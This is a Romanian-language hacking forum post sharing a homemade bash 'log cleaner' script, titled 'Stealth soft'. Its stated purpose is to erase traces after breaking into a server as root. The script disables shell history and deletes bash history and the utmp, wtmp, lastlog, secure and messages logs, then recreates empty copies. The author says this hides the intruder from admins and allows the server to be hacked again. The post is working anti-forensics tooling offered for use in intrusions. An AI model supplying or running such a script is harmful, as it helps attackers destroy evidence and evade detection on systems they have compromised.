Jump to content
thazer

Log Cleaner

Recommended Posts

Multi intra pe servere si uita sa stearga log-urile , sunt si eu unul din acei "multi" , stai intrii pe un root bine mersi , si poc dupa 2 zile bye server , cum .. pai log-uri ... ce face-m cu log-urile .. le sterge-m ce puii nostri , fara log-uri mici sanse ca admin-ul sa-si dea seama de unde a venit hacker-ul si modul de pentrare al serverului , si poate mai tarziu il mai hack-uiesti odata :)

script-ul este facut de mine , scris in bash deci nu`i mare scofala .. btw negesita root , poate fi rulat si de user dar in acest caz se sterge doar listele apartinand userului respectiv

p.s.

sterge toate log-urile , ruland scriptul cand esti inca logat te ascunde din last who w , in ciuda altor script-uri care te "ascund" unele strica si logarea in continuare .. eu l-am facut ca dupa ce s-a rulat , log-area sa fie in continuare posibila... prietenii stiu de ce :P a da si ink ceva scriptul e ver. light ;P

#!/bin/bash

echo "#####################"

echo "# Stealth soft #"

echo "#####################"

echo "Unsetting Histfile&Histsave&Watch"

unset HISTFILE

unset HISTSAVE

unset WATCH

export HISTFILE=/dev/null

echo "Done!"

history -n

echo "Deleting Compromisign files"

rm -rf .bash_history

rm -rf /var/run/utmp

rm -rf /var/run/wtmp -

rm -rf /var/log/lastlog

rm -rf /usr/adm/lastlog

cd /var/run

touch utmp

chmod 664 utmp

rm -rf .bash_history

cd /var/log/

rm -rf wtmp

rm -rf secure

rm -rf lastlog

rm -rf messages

echo "Done!"

touch messagess

touch wtmp

touch secure

touch lastlog

echo "Deleting user history"

cd /root

rm -rf .bash_history

touch .bash_history

cd

rm -rf .bash_history

touch .bash_history

echo "Done! All Ok!"

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...